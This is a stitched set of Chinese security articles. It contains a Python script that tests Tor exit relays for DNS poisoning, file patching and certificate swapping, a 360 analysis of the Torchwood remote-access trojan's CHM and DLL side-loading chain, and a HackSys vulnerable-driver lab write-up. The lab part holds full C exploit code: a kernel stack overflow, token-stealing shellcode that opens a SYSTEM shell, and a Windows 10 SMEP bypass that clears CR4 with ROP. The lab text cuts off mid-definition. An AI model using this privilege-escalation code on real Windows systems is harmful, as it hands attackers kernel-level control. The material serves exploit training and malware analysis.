2.文件修补:这个技术是改变请求的文件,在其到达目的地之前在其中添加恶意内容.这些步骤会在发给原始请求者之前直接在ExitPoint /中继节点上进行。
3.替换证明(SSL – MITM):这个技术是用假的证书替换网站真实的证书,这样就可以解密通信流,拦截凭证和参数。
致力于网络安全就意味着要及时意识到这样的攻击的存在,也要能够决定将在何时通过TOR中继节点。请注意,TOR不是DarkWeb中唯一的匿名网络.
我的目标是弄清楚我的TOR流通过恶意中继节点的时间。出于这样一个原因,我决定写一个能够对DNS Poison,文件修补和SSL-MITM做出一些快速检查的python脚本。这个脚本已经存在了2年,
直到现在仍是保密状态。自从科学研究应用了我的FindMalExit.py的高级版本之后,我决定公开这个脚本。
**想法**
实际上这是一个非常简单的想法:“让我们在不通过TOR网络(或通过可靠电路)的情况下拿到证书,IP地址和文件,然后重复这个过程,直到通过所有可用的中继节点。比较结果并进行检查。”
**实现**
以下请查收我的代码。请记住这是一个不是最终的代码 (这段代码只是一个更大的项目中的第一个版本,现在由Yoroi维护)。我决定发布HTML格式的代码。 __
_
_
#!/usr/bin/env python2
#========================================================================#
# THIS IS NOT A PRODUCTION RELEASED SOFTWARE #
#========================================================================#
# Purpose of finMaliciousRelayPoints is to proof the way it's possible to#
# discover TOR malicious Relays Points. Please do not use it in #
# any production environment #
# Author: Marco Ramilli #
# eMail: XXXXXXXX #
# WebSite: marcoramilli.blogspot.com #
# Use it at your own #
#========================================================================#
#==============================Disclaimer: ==============================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR #
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, #
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR #
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) #
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, #
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING #
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE #
#POSSIBILITY OF SUCH DAMAGE. #
#========================================================================#
#------------------------------------------------------------------------- #------------------- GENERAL SECTION ------------------------------------- #------------------------------------------------------------------------- import StringIO
import tempfile
import time
import hashlib
import traceback
from geoip import geolite2
import stem.control
TRUSTED_HOP_FINGERPRINT = '379FB450010D17078B3766C2273303C358C3A442'
#trusted hop
SOCKS_PORT = 9050
CONNECTION_TIMEOUT = 30 # timeout before we give up on a circuit
#------------------------------------------------------------------------- #---------------- File Patching Section ---------------------------------- #------------------------------------------------------------------------- import pycurl
check_files = {
"http://live.sysinternals.com/psexec.exe",
"http://live.sysinternals.com/psexec.exe",
"http://live.sysinternals.com/psping.exe", }
check_files_patch_results = []
class File_Check_Results:
"""
Analysis Results against File Patching
"""
def __init__(self, url, filen, filepath, exitnode, found_hash):
self.url = url
self.filename = filen
self.filepath = filepath
self.exitnode = exitnode
self.filehash = found_hash
#------------------------------------------------------------------------ #------------------- DNS Poison Section --------------------------------- #------------------------------------------------------------------------ import dns.resolver
import socks
import socket
check_domain_poison_results = []
domains = {
"www.youporn.com",
"youporn.com",
"www.torproject.org",
"www.wikileaks.org",
"www.i2p2.de",
"torrentfreak.com",
"blockchain.info",
}
class Domain_Poison_Check:
"""
Analysis Results against Domain Poison
"""
def __init__(self, domain):
self.domain = domain
self.address = []
self.path = []
def pushAddr(self, add):
self.address.append(add)
def pushPath(self, path):
self.path = path
#----------------------------------------------------------------------- #------------------- SSL Sltrip Section -------------------------------- #----------------------------------------------------------------------- import OpenSSL
import ssl
check_ssl_strip_results = []
ssl_strip_monitored_urls = {
"www.google.com",
"www.microsoft.com",
"www.apple.com",
"www.bbc.com",
}
class SSL_Strip_Check:
"""
Analysis Result against SSL Strip
"""
def __init__(self, domain, public_key, serial_number):
self.domain = domain
self.public_key = public_key
self.serial_number = serial_number
#---------------------------------------------------------------------- #---------------- Starting Coding ------------------------------- #---------------------------------------------------------------------- def sslCheckOriginal():
"""
Download the original Certificate without TOR connection
"""
print('[+] Populating SSL for later check')
for url in ssl_strip_monitored_urls:
try:
cert = ssl.get_server_certificate((str(url), 443))
x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
p_k = x509.get_pubkey()
s_n = x509.get_serial_number()
print('[+] Acquired Certificate: %s' % url)
print(' |_________> serial_number %s' % s_n)
print(' |_________> public_key %s' % p_k)
check_ssl_strip_results.append(SSL_Strip_Check(url, p_k, s_n))
except Exception as err:
print('[-] Error While Acquiring certificats on setup phase !')
traceback.print_exc()
return time.time()
def fileCheckOriginal():
"""
Downloading file ORIGINAL without TOR
"""
print('[+] Populating File Hasing for later check')
for url in check_files:
try:
data = query(url)
file_name = url.split("/")[-1]
_,tmp_file = tempfile.mkstemp(prefix="exitmap_%s_" % file_name)
with open(tmp_file, "wb") as fd:
fd.write(data)
print('[+] Saving File "%s".' % tmp_file)
check_files_patch_results.append( File_Check_Results(url, file_name, tmp_file, "NO", sha512_file(tmp_file)) )
print('[+] First Time we see the file..')
print(' |_________> exitnode : None' )
print(' |_________> :url: %s' % str(url) )
print(' |_________> :filePath: %s' % str(tmp_file))
print(' |_________> :file Hash: %s' % str(sha512_file(tmp_file)))
except Exception as err:
print('[-] Error ! %s' % err)
traceback.print_exc()
pass
return time.time()
def resolveOriginalDomains():
"""
Resolving DNS For original purposes
"""
print('[+] Populating Domain Name Resolution for later check ')
try:
for domain in domains:
response = dns.resolver.query(domain)
d = Domain_Poison_Check(domain)
print('[+] Domain: %s' % domain)
for record in response:
print(' |____> maps to %s.' % (record.address))
d.pushAddr(record)
check_domain_poison_results.append(d)
return time.time()
except Exception as err:
print('[+] Exception: %s' % err)
traceback.print_exc()
return time.time()
def query(url):
"""
Uses pycurl to fetch a site using the proxy on the SOCKS_PORT.
"""
output = StringIO.StringIO()
query = pycurl.Curl()
query.setopt(pycurl.URL, url)
query.setopt(pycurl.PROXY, 'localhost')
query.setopt(pycurl.PROXYPORT, SOCKS_PORT)
query.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5_HOSTNAME)
query.setopt(pycurl.CONNECTTIMEOUT, CONNECTION_TIMEOUT)
query.setopt(pycurl.WRITEFUNCTION, output.write)
try:
query.perform()
return output.getvalue()
except pycurl.error as exc:
raise ValueError("Unable to reach %s (%s)" % (url, exc))
def scan(controller, path):
"""
Scan Tor Relays Point to find File Patching
"""
def attach_stream(stream):
if stream.status == 'NEW':
try:
controller.attach_stream(stream.id, circuit_id)
#print('[+] New Circuit id (%s) attached and ready to be used!' % circuit_id)
except Exception as err:
controller.remove_event_listener(attach_stream)
controller.reset_conf('__LeaveStreamsUnattached')
try:
print('[+] Creating a New TOR circuit based on path: %s' % path)
circuit_id = controller.new_circuit(path, await_build = True)
controller.add_event_listener(attach_stream, stem.control.EventType.STREAM)
controller.set_conf('__LeaveStreamsUnattached', '1') # leave stream management to us
start_time = time.time()
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socket
ip = query('http://ip.42.pl/raw')
if ip is not None:
country = geolite2.lookup( str(ip) ).country
print('n n')
print('[+] Performing FilePatch, DNS Spoofing and Certificate Checking
passing through --> %s (%s) n n' % (str(ip), str(country)) )
time_FileCheck = fileCheck(path)
print('[+] FileCheck took: %0.2f seconds' % ( time_FileCheck - start_time))
#time_CertsCheck = certsCheck(path)
#print('[+] CertsCheck took: %0.2f seconds' % ( time_DNSCheck - start_time))
time_DNSCheck = dnsCheck(path)
print('[+] DNSCheck took: %0.2f seconds' % ( time_DNSCheck - start_time))
except Exception as err:
print('[-] Circuit creation error: %s' % path)
return time.time() - start_time
def certsCheck(path):
"""
SSL Strip detection
TODO: It's still a weak control. Need to collect and to compare public_key()
"""
print('[+] Checking Certificates')
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socket
for url in ssl_strip_monitored_urls:
cert = ssl.get_server_certificate((str(url), 443))
x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
p_k = x509.get_pubkey()
s_n = x509.get_serial_number()
for stored_cert in check_ssl_strip_results:
if str(url) == str(stored_cert.domain):
if str(stored_cert.serial_number) != str(s_n):
print('[+] ALERT Found SSL Strip on uri (%s) through path %s ' % (url, path))
break
else:
print('[+] Certificate Check seems to be OK for %s' % url)
except Exception as err:
print('[-] Error: %s' % err)
traceback.print_exc()
socket.close()
return time.time()
def dnsCheck(path):
"""
DNS Poisoning Check
"""
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socket
print('[+] Checking DNS ')
for domain in domains:
ipv4 = socket.gethostbyname(domain)
for p_d in check_domain_poison_results:
if str(p_d.domain) == str(domain):
found = False
for d_ip in p_d.address:
if str(ipv4) == str(d_ip):
found = True
break
if found == False:
print('[+] ALERT:DNS SPOOFING FOUND: name: %s ip: %s (path: %s )' % (domain, ipv4, path) )
else:
print('[+] Check DNS (%s) seems to be OK' % domain)
except Exception as err:
print('[-] Error: %s' % err)
traceback.print_exc()
socket.close()
return time.time()
def fileCheck(path):
"""
Downloading file through TOR circuits doing the hashing
"""
print('[+] Checking For File patching ')
for url in check_files:
try:
#File Rereive
data = query(url)
file_name = url.split("/")[-1]
_,tmp_file = tempfile.mkstemp(prefix="exitmap_%s_" % file_name)
with open(tmp_file, "wb") as fd:
fd.write(data)
for i in check_files_patch_results:
if str(i.url) == str(url):
if str(i.filehash) != str(sha512_file(tmp_file)):
print('[+] ALERT File Patch FOUND !')
print(' | exitnode : %s' % str(i.exitnode) )
print(' |_________> url: %s' % str(i.url) )
print(' |_________> filePath: %s' % str(i.filepath) )
print(' |_________> fileHash: %s' % str(i.filehash) )
#check_files_patch_results.append( File_Check_Results(url, file_name, tmp_file, path, sha512_file(tmp_file)) )
else :
print('[+] File (%s) seems to be ok' % i.url)
break
except Exception as err:
print('[-] Error ! %s' % err)
traceback.print_exc()
pass
return time.time()
def sha512_file(file_name):
"""
Calculate SHA512 over the given file.
"""
hash_func = hashlib.sha256()
with open(file_name, "rb") as fd:
hash_func.update(fd.read())
return hash_func.hexdigest()
if __name__ == '__main__':
start_analysis = time.time()
print("""
|=====================================================================|
| Find Malicious Relay Nodes is a python script made for checking 3 |
| unique kind of frauds such as: |
| (1) File Patching |
| (2) DNS Poison |
| (3) SSL Stripping (MITM SSL) |
|=====================================================================|
""")
print("""
|=====================================================================|
| Initialization Phase |
|=====================================================================|
""")
dns_setup_time = resolveOriginalDomains()
print('[+] DNS Setup Finished: %0.2f' % (dns_setup_time - start_analysis))
file_check_original_time = fileCheckOriginal()
print('[+] File Setup Finished: %0.2f' % (file_check_original_time - start_analysis))
ssl_checking_original_time = sslCheckOriginal()
print('[+] Acquiring Certificates Setup Finished: %0.2f' % (ssl_checking_original_time - start_analysis))
print("""
|=====================================================================|
| Analysis Phase |
|=====================================================================|
""")
print('[+] Connecting and Fetching possible Relays ...')
with stem.control.Controller.from_port() as controller:
controller.authenticate()
net_status = controller.get_network_statuses()
for descriptor in net_status:
try:
fingerprint = descriptor.fingerprint
print('[+] Selecting a New Exit Point:')
print('[+] |_________> FingerPrint: %s ' % fingerprint)
print('[+] |_________> Flags: %s ' % descriptor.flags)
print('[+] |_________> Exit_Policies: %s ' % descriptor.exit_policy)
if 'EXIT' in (flag.upper() for flag in descriptor.flags):
print('[+] Found Exit Point. Performing Scan through EXIT: %s' % fingerprint)
if None == descriptor.exit_policy:
print('[+] No Exit Policies found ... no certs checking')
time_taken = scan(controller, [TRUSTED_HOP_FINGERPRINT, fingerprint])
else:
#print('[+] Not Exit Point found. Using it as Relay passing to TRUST Exit Point')
pass
#time_taken = scan(controller, [fingerprint, TRUSTED_HOP_FINGERPRINT])
#print('[+] Finished Analysis for %s finished => %0.2f seconds' % (fingerprint, time_taken))
except Exception as exc:
print('[-] Exception on FingerPrint: %s => %s' % (fingerprint, exc))
traceback.print_exc()
pass | 社区文章 |
# Torchwood远控木马“鱼目混珠” 远控木马新一轮“白加黑”攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360安全大脑监测到大量远控木马的传播，经过深度分析，发现该木马是“Torchwood”远控木马的新变种。曾经该木马通过下载网站、钓鱼邮件和QQ群等方式传播，都已被360安全大脑全面查杀，而最近的更新则有卷土重来的迹象。
这一次该木马再度延用“CHM钓鱼攻击”的传播方式，并配合极具迷惑性的标题，诱导用户打开木马文件，使其在不知不觉中遭受攻击。广大用户不必过分担心，目前360安全大脑已全面拦截该木马的攻击，建议用户及时下载安装360安全卫士保护电脑隐私及数据安全。
## CHM文件“鱼目混珠”潜入系统，“白加黑”作案手法屡试不爽
什么是CHM文件呢？大家不要觉得CHM文件很“冷门”，它是经过压缩的各类资源的集合，日常中支持图片、音频、视频、Flash、脚本等内容，因为方便好用、形式多样，也可算是文件格式界里的“经济适用款”，越来越多的电子书、说明文档都采用了CHM格式。在大多数人的印象中，CHM类型文件是“无公害”文档文件，但只要加以利用便可以“鱼目混珠”潜入系统躲过杀毒软件，并发起隐秘攻击。事实上，360安全大脑监测到的多起攻击事件中，都可以看到
CHM 文件的影子，这类手法也被业界形象地称为“白加黑”攻击。
历史手法，又在重演。本轮攻击中，360安全大脑发现木马作者再次利用了CHM文件，再配上能够引起用户兴趣的敏感标题，然后通过下载网站、钓鱼邮件和QQ群等渠道传播，最终诱导用户打开木马文件，达到控制用户电脑，盗取帐号密码及重要资料等目的。
与“钱财”等有关的诱惑性标题
360安全大脑对该CHM文件进一步溯源分析，发现Torchwood远控木马的攻击核心是加入了具有云控功能的HTML脚本。当用户运行虚假的CHM文件后，“精心乔装”的虚假网页访问404图片便会自动弹出，与此同时，潜伏在系统后台已久的攻击程序也同时悄然运行。
360安全大脑对该混淆代码分析，发现其攻击流程如下：
1、利用certutil.exe 下载一张网站访问404的截图run.jpg，用来欺骗用户。
2、利用certutil.exe 下载压缩后的攻击模块temp1.jpg。
3、利用certutil.exe 下载解压用的WinRar工具helloworld.jpg。
4、运行WinRar工具，用来解压攻击模块，密码为“Tatoo”。
5、前端利用欺骗性图片迷惑用户，背后则偷偷运行攻击程序。
整个过程大致如下，完成下载和解压工作后，木马就会进入攻击流程。
具体的攻击代码流程如下：
1、首先木马作者会启动Perflog.exe文件，该文件是罗技的键鼠管理程序，属于被白利用的正常程序。
2、Perflog.exe会加载黑模块logidpp.dll，这是木马作者经常使用的“白加黑“手法。
3、logidpp.dll是一个PELoader程序，它的任务是在内存中解密bugrpt.log文件，并在内存中加载运行此恶意模块。
4、调用恶意模块的导出函数“Torchwood“，执行远控代码流程。
值得一提的是，此类木马是一个具有下载和内存执行功能的程序，并且可以通过云控的方式运行任意代码。这里，我们主要分析的是其传播远控程序对受害目标进行攻击的过程，可以看到该木马还包含一系列自我保护的功能，以达到长久驻留的目的。
（添加注册表，长期驻留）
（远控功能）
（内置的安全软件检测列表）
Torchwood
远控木马前有针对杀毒软件的检测躲避大招加持，后有任意代码执行的远控攻击技能傍身，本轮攻击可谓来势汹汹，但360安全大脑通过多种技术手段防御和发现最新木马病毒，且已率先实现对该类木马的查杀，为避免此类攻击的感染态势进一步扩大，
360安全大脑建议：
1、建议广大用户前往weishi.360.cn，及时下载安装360安全卫士，能有效拦截该木马的攻击，保护个人信息及财产安全；
2、使用360软件管家下载软件。360软件管家收录万款正版绿色软件，经过360安全大脑白名单检测，下载、安装、升级，更安全。
### 附录IOC | 社区文章 |
# HEVD驱动栈溢出&&WIN10 SMEP 绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00:环境&&一些需要注意的地方以及调试小技巧
~多图预警~
### 我的环境
环境怎么搭建我就不赘述了,我会把我主要参考的博客贴在后面
我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64(考虑到环境不同可能会复现不成功的情况,我会把win7&&win10的下载链接贴在评论区)
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版
### 要注意的地方&&一些知识点
首先一点就是由于调试内核程序经常会死机或蓝屏,而频繁的系统重启又需要很多时间,为了节约部分时间,建议大家灵活使用VMware
的快照功能,在配置好测试环境后,不要急于测试,而是先建立该测试环境的快照,这样当出现死机或蓝屏后 再次测试时可以直接回滚到之前的快照状态下的 Guest
OS 中,这样能够大大节省等待时间.
windbg跳出来的时候,虚拟机会中断,这时会出现鼠标和键盘都失灵的情况,按 ctrl+alt 可以解决,我第一次以为我电脑卡了,还重启了,其实不是.
由于我们研究的是有漏洞的驱动项目,所以就有必要补充一点驱动相关的知识:驱动分两种,一种是nt式驱动程序,一种式wdm式驱动程序.VirtualKD-Redux-2021.2这个驱动加载工具只能加载wdm式驱动程序.还有想用vs2019进行驱动编程的话,sdk和wdk版本要一致,我在上面踩了很多坑.
下windbg的时候,可能会出现网页能打开,但Microsoft
Store死活打不开的情况,这个问题在internet选项->连接->局域网设置,把使用自动配置脚本那个勾取消掉就好.
在学习的时候,可以看到源码里是有输出的(当然你用ida打开也可以看到,不过我基本没用ida)
但是,直接调试是看不到的,这里有两个解决的方法,一种需要下一个软件,还有一种是在运行前加 ed nt!Kd_Default_Mask 8
,然后输出就会在windbg里显示出来,像这样
我使用的也是第二种,确实比较方便.
可能你会对exploit里面的CreateFileA,DeviceIoControl等函数感到困惑,这部分在<0day安全:软件漏洞分析指南>里有写,当然你也可以去看官方文档.
可能你会好奇我exploit开头那个宏定义是怎么来的,我是在源码的Exploit目录下的common.h找到的,如图
后面这CTL_CODE( )部分0day安全里面也有写,感兴趣的同学可以自己去看看.
还有那个DeviceIoControl函数的第四个参数是关于SIZE大小的,这里要注意的一点就是这个参数要比实际输入的内容大4(32位系统下)或者8(64位系统下),不然会导致数据传入不够的情况
还有一个特别特别大的坑就是win10的处理器设置最好是1,我因为这个没设好,足足花了我四天多的时间!!!!!越想越气
## 0x01:HEVD项目讲解&&漏洞点&&exploit的编写
### HEVD项目讲解
下载地址在[这里](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases),这个项目里不但有很多有漏洞的示例驱动函数,还有对应的32位下的exploit.
使用方式可以参考[这里](https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/)
### 漏洞点
漏洞点还是很简单的,打开HEVD源码,找到Driver目录下的StackOverflow.c的TriggerStackOverflow函数.发现它没有验证用户传入的size大小,导致栈溢出.可以看到安全的版本是以sizeof(KernelBuffer)为传入大小的.RtlCopyMemory这个函数和memcpy差不多,它需要一个指向内核缓冲区的指针,一个指向输入缓冲区的指针和一个整数来知道要复制多少字节.
### exploit的编写
**原理**
原理就是替换当前进程的Token ,首先在windbg上输入 !dml_proc 命令,
可以看到我们的system的pid是4,而且每个进程的pid都不相同,这就是我们漏洞利用的关键.
然后我们运行 dt nt!_EX_FAST_REF address+0xf8 命令,找到cmd.exe和system的token,如图
接下来我们用ed指令将cmd.exe的token值改成system的token值,如图
可以看到我们cmd的权限已经改变了
**exploit编写**
这个exploit我感觉最主要的就是shellcode的编写,其他的当公式用就好,所以我着重讲shellcode的编写.
前面我们已经讲了漏洞利用的关键是替换token,那么我们怎么找到system的token并替换它呢?其实这里面有以下的关系.([我的参考在这](https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/))
[KPCR](https://www.nirsoft.net/kernel_struct/vista/KPCR.html) (PrcbData) ->
[KPRCB](https://www.nirsoft.net/kernel_struct/vista/KPRCB.html)
(CurrentThread) ->
[KTHREAD](https://www.nirsoft.net/kernel_struct/vista/KTHREAD.html) (ApcState)
-> [KAPC_STATE](https://www.nirsoft.net/kernel_struct/vista/KAPC_STATE.html)
(Process) ->
[KPROCESS](https://www.nirsoft.net/kernel_struct/vista/KPROCESS.html)
我们需要遍历每个进程,就需要找到一个双向循环链表,也就是这玩意
那它具体的偏移是多少呢???
首先我们在windbg上运行 dt nt!_KPCR 命令,可以看到一大串的东西,我们找到_KPRCB结构,如图
然后我们再运行 dt nt!_KPRCB 可以看到
这就是mov eax, fs:[eax + KTHREAD_OFFSET]这行代码的由来
接着我们在windbg里运行dps fs:[124]这行代码(dps是查看当前寄存器的值),可以看到
然后我们运行 dt nt!_EPROCESS poi(83f3a380+0x50) 这行代码(poi是解引用),可以看到
里面要注意的地方就是+0xb4的void和+0xb8位置的双向链表了.
(不过这里为啥是+0x50,我也不太清楚…)
然后往下翻,可以看到
这就是0xf8的由来.
其他的感觉没什么了,最后,贴一下我的利用代码(我的利用代码可能和我讲的不太一样,要复杂些,当时我主要参考的[这](https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/),懒得调了…)
#include<Windows.h>
#include<stdio.h>
#include <iostream>
#include <vector>
#include <time.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0x00000000
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
__declspec(naked) VOID shellcode() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov edi, [ecx + TOKEN_OFFSET]; Get current process token
and edx, 0xFFFFFFF8; apply the mask on SYSTEM process token, to remove the referece counter
and edi, 0x7; apply the mask on the current process token to preserve the referece counter
add edx, edi; merge AccessToken of SYSTEM with ReferenceCounter of current process
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
#define BUFF_SIZE 2080
int main()
{
PVOID payload = &shellcode;
SIZE_T buf_size = BUFF_SIZE + sizeof(DWORD);
ULONG BytesReturned = NULL;
HANDLE hFile = open_device(kDevName);
PVOID buf = (PVOID)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
2080 + sizeof(DWORD));
printf(" gamous,yyds!!!");
RtlFillMemory((PVOID)buf, buf_size, 0x41);
PVOID shellcode_addr = (PVOID)((ULONG)buf + BUFF_SIZE);
*(PULONG)shellcode_addr = (ULONG)payload;
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(PVOID)buf,
buf_size,
NULL,
0,
&BytesReturned,
NULL);
CreateCmd();
}
可以看到最后是利用成功了的
### 0x02:win10_x64下的smep bapass
**smep原理**
smep就是一种自win8新推出的保护机制,如果一个程序存在smep保护机制的话,那么就不能在ring0执行ring3的代码,否则的话会直接崩溃死机.这个机制和cr4寄存器有关.如图
重点关注第二十位就好
可以在windbg里输入 .formats cr4 查看当前 cr4寄存器的值.如图,我的机器上cr4寄存器的值为0x1506f8
**smep绕过&&rp++工具的使用**
怎么绕过smep?这里用到了一种名为rop的技术.就是用ring0的代码将smep给关掉.前面我们已经说过,smep与cr4寄存器的第20位有关,所以我们要把cr4寄存器的第20位给置零.在我的机器上也就是把0x1506f8改成0x506f8.怎么更改cr4寄存器的值?我们需要找内核里的与cr4寄存器相关的汇编片段
当然这里还需要绕过KALSR,也就是内核态的ALSR.
这里我用到了一种工具,rp++
首先在win10虚拟机里查找 ntoskrnl.exe 程序,如图
然后新建一个rop.txt程序(叫什么名字都可以)
然后打开cmd,把相关的程序拖进去,输入指令,格式像这样
然后我们发现rop.txt文件里多了很多东西,然后我们用ctrl + f 查找cr4寄存器相关可以找到
然后我们将前面的140内存基址给去掉,取后面的0xf732c,然后在windbg中输入 uf nt+0xf732c,可以看到
然后输入?fffff802`d2d7f32c-nt 可以看到
(我这里应该显示有问题它cr4给我显示成了tmm有点无语emmmm)
那么我们的偏移就是0xf732c,获取rcx寄存器的值类似然后我的代码长这样
那么怎么获得内核的基址呢?这部分当成公式用就好…大概这样
**shellcode的编写**
shellcode的编写就是按着我前面讲的内容写的,手动找一下64位下的偏移即可,不过值得注意的是,asm汇编程序不能直接在.c文件里写.这里我用的是一款在线将汇编转机器码的工具.[链接在这](https://defuse.ca/online-x86-assembler.htm#disassembly)
可能有人会好奇为啥我会有mov rbx,[r11+0x60]这条指令,这是调出来的.待会解释.
**运行**
我在exploit里面加了 __debugbreak(); 这行代码,这行代码是下断点用的
运行后可以看到我们的代码已经断下来了
然后,我们再输入 uf HEVD!TriggerStackOverflow 并在这个函数的结尾处下个断点
然后运行到修改cr4寄存器的地方,可以看到,我们的cr4寄存器已经被修改成功
接下来解释一下mov rbx,[r11+0x60]这条指令
我们知道我们的rcx,rbx在运行shellcode之前就被破坏掉了,所以一个很朴素的想法就是找一个相近的值给他恢复,调试后发现rcx的值无关紧要,因为如果程序正常运行的话,后面并没有引用到rcx的值,但是用到了rbx的值,如果rbx的值不对,将直接导致系统崩溃.
一个很直接的想法就是,找一个相近的值,然后减去差值.
调试发现rbx的值是r11赋予的也就是这
但是r11里面的值也会被破坏掉,也就是说[r11+10h]不可用
调试发现[r11+10h]和[r11+60h]这两个值一模一样,而且后面这个不会被改掉.
也就是这个值
接下来就没什么好说的了,最后贴一下我的代码
#include<Windows.h>
#include<stdio.h>
#include <iostream>
#include <vector>
#include <time.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
#define BUFF_SIZE 2080
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID Base;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
